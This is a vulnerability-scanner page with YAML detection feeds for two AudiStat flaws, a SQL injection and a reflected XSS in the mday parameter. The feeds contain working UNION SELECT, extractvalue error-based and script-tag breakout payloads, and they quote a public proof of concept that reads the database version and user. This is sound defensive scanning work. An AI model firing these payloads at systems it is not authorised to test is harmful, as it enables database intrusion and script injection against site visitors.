AudiStat — 2 vulnerability checks

noctis ships 2 vulnerability checks for AudiStat, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

AudiStat index.php mday SQL Injection

CVECVE-2010-1050
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/audistat/CVE-2010-1050.yaml

AudiStat 1.3 and earlier put the mday parameter of index.php, unquoted and unvalidated, into the SQL query of the day statistics view, without authentication, allowing SQL injection (an attacker can read or alter the statistics database).

Under the web root, /audistat and /stats, this check requests the day view with an mday value that appends a UNION SELECT of an expression multiplying two random numbers, then, if needed, one that makes MySQL raise an XPATH error carrying such a product. On a page identified as AudiStat (the product name or its "Site statistics" heading), the vulnerability is confirmed when the page lists the product, or shows it in the XPATH error, as computed by the database: it never appears in the request. No stored data is read and nothing is written.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/index.php?year=2010&month=1&mday={{sc.q_union}}
  3. HTTP(S) request GET {{dir}}/index.php
  4. Parses / computes the next value with a Rhai script
  5. Parses / computes the next value with a Rhai script
  6. HTTP(S) request GET {{dir}}/index.php?year=2010&month=1&mday={{sc.q_err}}
  7. Parses / computes the next value with a Rhai script
  8. Checks hit for ^/.* \(UNION SELECT probe\)$ → finding QoD 97: AudiStat index.php mday SQL Injection (CVE-2010-1050)
  9. Checks hit for ^/.* \(XPATH error probe\)$ → finding QoD 97: AudiStat index.php mday SQL Injection (CVE-2010-1050)

References:

Feed source — tests/vulnerabilities/audistat/CVE-2010-1050.yaml
# AudiStat <= 1.3 — index.php mday SQL injection — CVE-2010-1050
#
# AudiStat (a GPL PHP/MySQL web statistics page by Alexandre Dubus) shows a day view
# at index.php?year=..&month=..&mday=..; mday goes unquoted into a two-column SQL query
# whose rows are printed (public PoC EDB-11334:
#   ?year=kaMtiEz&month=tukulesto&mday=-15+union+all+select+@@version,user()-- ).
# The vendor site (adubus.free.fr/audistat) and the source are gone; no fixed release
# exists. mday is also printed back raw in the page (CVE-2010-1052, own feed), so a
# reflected marker proves nothing: this feed checks for values computed by the database.
#
# Detection, per candidate install dir (web root, /audistat, /stats), stopping at the
# first hit:
#   1. QoD 97 — mday=-1 union all select C,C-- -
#      with C = CONCAT(0x4e4f43544953,a*b,0x454e44) and random six-digit a, b: the day
#      table lists NOCTIS<a*b>END (two columns, as in the PoC);
#   2. QoD 97 — mday=1 and extractvalue(1,concat(0x7e,c*d)) (fresh random operands): a
#      page that prints mysql_error() shows "XPATH syntax error: '~<c*d>'" whatever the
#      column count of the query is (MySQL 5.1+ / MariaDB fold the constant, so it errors
#      even when no row matches).
# Either needs an AudiStat page (">AudiStat<" or "Site statistics" on index.php or the
# probe reply). Neither product appears in its request. Read-only: no table is read, nothing written.
# year/month carry real values (2010 / 1) so the rest of the query stays valid whatever
# their quoting.
#
# Better than the source NASL: the NASL only greps a reflected 'VT-XSS-Testing' string
# (it matches an HTML-escaped echo too, and proves no SQL injection at all, although it
# reports CVE-2010-1050/1051); this feed proves the injection with database-computed
# values and also walks /audistat and /stats. CVE-2010-1051 (year/month) has no public
# request detail (NVD: "provenance unknown") and is not claimed here.
#
# Source: OpenVAS/Greenbone NASL 2010/gb_audistat_mult_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.902029, GPL-2.0-only); exploit EDB-11334.
uid: b44de390-f0e2-4361-ad7d-5f1a45009437
name: "AudiStat index.php mday SQL Injection (CVE-2010-1050)"
description: |
  AudiStat 1.3 and earlier put the mday parameter of index.php, unquoted and
  unvalidated, into the SQL query of the day statistics view, without authentication,
  allowing SQL injection (an attacker can read or alter the statistics database).

  Under the web root, /audistat and /stats, this check requests the day view with an
  mday value that appends a UNION SELECT of an expression multiplying two random
  numbers, then, if needed, one that makes MySQL raise an XPATH error carrying such a
  product. On a page identified as AudiStat (the product name or its "Site statistics"
  heading), the vulnerability is confirmed when the page lists the product, or shows it
  in the XPATH error, as computed by the database: it never appears in the request. No
  stored data is read and nothing is written.
cves: [CVE-2010-1050]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [audistat, sqli, union-based, error-based, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-1050"
  - "https://www.exploit-db.com/exploits/11334"
  - "http://secunia.com/advisories/38494"
  # OpenVAS/Greenbone NASL 2010/gb_audistat_mult_vuln.nasl (GPL-2.0-only)

steps:
  # ── Random operands, expected values and encoded mday payloads ────────────
  - id: gen-proof
    action: script
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      let c = rand_int(100000, 999999);
      let d = rand_int(100000, 999999);
      let col = "CONCAT(0x4e4f43544953," + a + "*" + b + ",0x454e44)";
      #{ want: "NOCTIS" + (a * b) + "END",
         expr: a + "*" + b,
         err_want: "" + (c * d),
         err_expr: c + "*" + d,
         q_union: "-1%20union%20all%20select%20" + col + "," + col + "--%20-",
         q_err: "1%20and%20extractvalue(1,concat(0x7e," + c + "*" + d + "))" }
    store_as: sc

  - id: init-hit
    action: set_var
    var_name: hit
    var_value: ""

  # ── Per candidate install path (loop group) ───────────────────────────────
  - id: init-union-resp
    action: set_var
    var_name: union_resp
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/audistat", "/stats"]

  - id: init-err-resp
    action: set_var
    var_name: err_resp
    var_value: {status: 0, body: ""}

  - id: init-landing
    action: set_var
    var_name: landing
    var_value: {status: 0, body: ""}

  - id: union-probe
    action: http_request
    method: GET
    path: "{{dir}}/index.php?year=2010&month=1&mday={{sc.q_union}}"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit == ""'
    store_as: union_resp

  # AudiStat branding on the landing page, for an install whose error page is bare.
  - id: fetch-landing
    action: http_request
    method: GET
    path: "{{dir}}/index.php"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit == "" && union_resp.status > 0'
    store_as: landing

  - id: brand
    action: script
    condition: 'hit == ""'
    code: |
      let t = "";
      for r in [landing, union_resp] {
        if type_of(r.body) == "string" { t += tolower(r.body); }
      }
      t.contains(">audistat<") || t.contains("site statistics")
    store_as: is_audistat

  - id: check-union
    action: script
    condition: 'hit == ""'
    code: |
      if !is_audistat { return ""; }
      let body = if type_of(union_resp.body) == "string" { union_resp.body } else { "" };
      let d = if dir == "" { "/" } else { dir };
      if body.contains(sc.want) { d + " (UNION SELECT probe)" } else { "" }
    store_as: hit

  - id: err-probe
    action: http_request
    method: GET
    path: "{{dir}}/index.php?year=2010&month=1&mday={{sc.q_err}}"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit == "" && union_resp.status > 0'
    store_as: err_resp

  - id: check-err
    action: script
    condition: 'hit == "" && union_resp.status > 0'
    code: |
      let body = if type_of(err_resp.body) == "string" { err_resp.body } else { "" };
      if !is_audistat && !tolower(body).contains(">audistat<") && !tolower(body).contains("site statistics") { return ""; }
      let d = if dir == "" { "/" } else { dir };
      if ereg("XPATH syntax error: (?:'|&#0?39;|&#x27;|&apos;)?~" + sc.err_want + "([^0-9]|$)", body) {
        d + " (XPATH error probe)"
      } else { "" }
    store_as: hit

  # ── Findings ──────────────────────────────────────────────────────────────
  - id: report-union
    action: match
    source: hit
    pattern: "^/.* \\(UNION SELECT probe\\)$"
    on_match:
      finding:
        title: "AudiStat index.php mday SQL Injection (CVE-2010-1050)"
        description: "An unauthenticated index.php day-view request whose mday value appends a UNION SELECT multiplying two random numbers returned the product computed by the database: the mday parameter is injected into the SQL query, so an attacker can read or alter the statistics database."
        remediation: "No fixed AudiStat release exists: remove the application or restrict access to it (for example with HTTP authentication on its directory). If you maintain the code, cast year, month and mday to integers before building the query."
        confidence_delta: 0.67
        qod: 97
        evidence: "install dir {{hit}}: index.php?year=2010&month=1&mday=-1 union all select CONCAT(0x4e4f43544953,{{sc.expr}},0x454e44),…-- - listed the database-computed value {{sc.want}}"
      stop: true

  - id: report-error
    action: match
    source: hit
    pattern: "^/.* \\(XPATH error probe\\)$"
    on_match:
      finding:
        title: "AudiStat index.php mday SQL Injection (CVE-2010-1050)"
        description: "An unauthenticated index.php day-view request with mday=1 and extractvalue(1,concat(0x7e,<a*b>)) returned a MySQL XPATH error carrying the product of the two random numbers computed by the database: the mday parameter is injected into the SQL query, so an attacker can read or alter the statistics database."
        remediation: "No fixed AudiStat release exists: remove the application or restrict access to it (for example with HTTP authentication on its directory). If you maintain the code, cast year, month and mday to integers before building the query."
        confidence_delta: 0.67
        qod: 97
        evidence: "install dir {{hit}}: index.php?year=2010&month=1&mday=1 and extractvalue(1,concat(0x7e,{{sc.err_expr}})) returned \"XPATH syntax error: '~{{sc.err_want}}'\""
      stop: true

AudiStat index.php mday Reflected XSS

CVECVE-2010-1052
Severitymedium · CVSS 4.3
Categoryxss — XSS
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 75
Feedtests/vulnerabilities/audistat/CVE-2010-1052.yaml

AudiStat 1.3 and earlier print the mday parameter of index.php back into the day statistics page without HTML escaping, allowing reflected cross-site scripting.

Under the web root, /audistat and /stats, this check requests index.php?year=noctis&month=noctis&mday="><script>alert(/marker/)</script>, where marker is random for each scan, then the same request with the bare script element. The finding requires an HTTP 200 AudiStat page (the product name as page text, or its "Site statistics" heading) that contains either the first value verbatim, with its raw double quote, after an attribute opener or in the page text, or the bare script element of the second request in the page text, outside any tag. A page that escapes the value, or prints it only inside an attribute value, a title or a text area, is not reported. The requests only display statistics and change nothing on the server.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/index.php?year=noctis&month=noctis&mday=%22%3E%3Cscript%3Ealert%28%2F{{tok}}%…
  3. HTTP(S) request GET {{dir}}/index.php?year=noctis&month=noctis&mday=%3Cscript%3Ealert%28%2F{{tok}}%2F%29%…
  4. Parses / computes the next value with a Rhai script
  5. Checks xss_proof for ^(?:">)?<script>alert\(/noctis[0-9a-f]{12}/\)</script>$ → finding QoD 75: AudiStat index.php mday Reflected XSS (CVE-2010-1052)

References:

Feed source — tests/vulnerabilities/audistat/CVE-2010-1052.yaml
# AudiStat <= 1.3 — index.php mday reflected XSS — CVE-2010-1052
#
# AudiStat's index.php day view prints the mday query parameter back into the page
# without HTML escaping (the same request also reaches SQL — CVE-2010-1050, own feed).
# The vendor site (adubus.free.fr/audistat) and the source are gone; no fixed release
# exists.
#
# Differences with the source NASL (2010/gb_audistat_mult_vuln.nasl):
#   - the NASL sends mday=<script>alert('VT-XSS-Testing')</script> and only greps
#     "VT-XSS-Testing", which an HTML-escaped echo (&lt;script&gt;…) or any page carrying
#     that string also matches. This feed sends "><script>alert(/<random>/)</script>
#     and requires that exact sequence, raw double quote included, after a `="`
#     attribute opener or in a text node (it executes there), then the bare element
#     (the NASL form) in a text node only — an escaped echo, or one inside an attribute
#     value, is not reported;
#   - the NASL relies on its product detection (">AudiStat<" + "Site statistics" on
#     index.php) under /audistat, /stats and the CGI dirs; this feed walks the web root,
#     /audistat and /stats and requires an AudiStat page (the product name in the reply).
# CVE-2010-1052 also names year; only mday has a public request (EDB-11334, the NASL).
#
# Source: OpenVAS/Greenbone NASL 2010/gb_audistat_mult_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.902029, GPL-2.0-only); exploit EDB-11334.
uid: 0e49ce03-ec6c-4cce-a88b-f15a0e81ab9b
name: "AudiStat index.php mday Reflected XSS (CVE-2010-1052)"
description: |
  AudiStat 1.3 and earlier print the mday parameter of index.php back into the day
  statistics page without HTML escaping, allowing reflected cross-site scripting.

  Under the web root, /audistat and /stats, this check requests
  index.php?year=noctis&month=noctis&mday="><script>alert(/marker/)</script>, where
  marker is random for each scan, then the same request with the bare script element.
  The finding requires an HTTP 200 AudiStat page (the product name as page text, or
  its "Site statistics" heading) that contains either the first value
  verbatim, with its raw double quote, after an attribute opener or in the page text,
  or the bare script element of the second request in the page text, outside any tag.
  A page that escapes the value, or prints it only inside an attribute value, a title
  or a text area, is not reported. The requests only display statistics and change nothing on the server.
cves: [CVE-2010-1052]
cvss: 4.3
severity: medium
category: xss
confidence_base: 0.30
tags: [audistat, xss, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-1052"
  - "https://www.exploit-db.com/exploits/11334"
  - "http://secunia.com/advisories/38494"
  # OpenVAS/Greenbone NASL 2010/gb_audistat_mult_vuln.nasl (GPL-2.0-only)

steps:
  # Random marker for this scan (letters and hex digits only).
  - id: marker
    action: script
    code: |
      "noctis" + oob_token.sub_string(0, 8) + oob_token.sub_string(9, 4)
    store_as: tok

  # ── Loop group: every following step runs once per install dir.
  - id: init-probe-r
    action: set_var
    var_name: probe_r
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/audistat", "/stats"]

  - id: init-probe2-r
    action: set_var
    var_name: probe2_r
    var_value: {status: 0, body: ""}

  # 1. Attribute breakout form: "><script>alert(/marker/)</script>
  - id: probe
    action: http_request
    method: GET
    path: "{{dir}}/index.php?year=noctis&month=noctis&mday=%22%3E%3Cscript%3Ealert%28%2F{{tok}}%2F%29%3C%2Fscript%3E"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: probe_r

  # 2. Bare element (the public form), for a page that escapes only the double quote
  #    but prints the value in a text node.
  - id: probe2
    action: http_request
    method: GET
    path: "{{dir}}/index.php?year=noctis&month=noctis&mday=%3Cscript%3Ealert%28%2F{{tok}}%2F%29%3C%2Fscript%3E"
    port: "{{port}}"
    condition: "probe_r.status == 200"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: probe2_r

  # The executable reflection with this scan's marker on an AudiStat page — or "":
  # probe 1 verbatim with its raw quote, closing a double-quoted attribute (="…) or in
  # a text node (a backslash before it, from PHP magic_quotes_gpc, is still a
  # breakout), or probe 2 in a text node (only text, no tag, between the previous ">"
  # and the element: an attribute value always has its tag's "<" there).
  - id: reflection
    action: script
    code: |
      let out = "";
      let b1 = if probe_r.status == 200 && type_of(probe_r.body) == "string" { probe_r.body } else { "" };
      let b2 = if probe2_r.status == 200 && type_of(probe2_r.body) == "string" { probe2_r.body } else { "" };
      // AudiStat branding outside the request path (a page echoing the URL carries
      // "/audistat/" but not ">AudiStat<" or "Site statistics").
      let l1 = tolower(b1);
      let l2 = tolower(b2);
      let br1 = l1.contains(">audistat<") || l1.contains("site statistics");
      let br2 = l2.contains(">audistat<") || l2.contains("site statistics");
      // <title> / <textarea> content is plain text: a reflection there never runs.
      b1 = ereg_replace("(?is)<(title|textarea)\\b[^>]*>.*?</(title|textarea)\\s*>", "", b1);
      b2 = ereg_replace("(?is)<(title|textarea)\\b[^>]*>.*?</(title|textarea)\\s*>", "", b2);
      if br1 && ereg("(?:=\\s*\"\\\\?|>[^<>]*\\\\?)\"><script>alert\\(/" + tok + "/\\)</script>", b1) {
        out = "\"><script>alert(/" + tok + "/)</script>";
      } else if br2 && ereg(">[^<>]*<script>alert\\(/" + tok + "/\\)</script>", b2) {
        out = "<script>alert(/" + tok + "/)</script>";
      }
      out
    store_as: xss_proof

  - id: report
    action: match
    source: xss_proof
    pattern: '^(?:">)?<script>alert\(/noctis[0-9a-f]{12}/\)</script>$'
    on_match:
      finding:
        title: "AudiStat index.php mday Reflected XSS (CVE-2010-1052)"
        description: "A day-view request whose mday value carries a script element was answered with an AudiStat page holding that element unescaped, either with the double quote that closes a quoted attribute or inside the page text, so the script element is added to the page. An attacker can send a visitor a statistics link that runs script in the context of the site."
        remediation: "No fixed AudiStat release exists: remove the application or restrict access to it (for example with HTTP authentication on its directory). If you maintain the code, cast mday, month and year to integers and HTML-escape every value printed back."
        confidence_delta: 0.55
        qod: 75
        evidence: "GET {{dir}}/index.php?year=noctis&month=noctis&mday=<injected value> returned HTTP 200 with an AudiStat page containing the injected element unescaped: {{xss_proof}}"
      stop: true

View these feeds on GitHub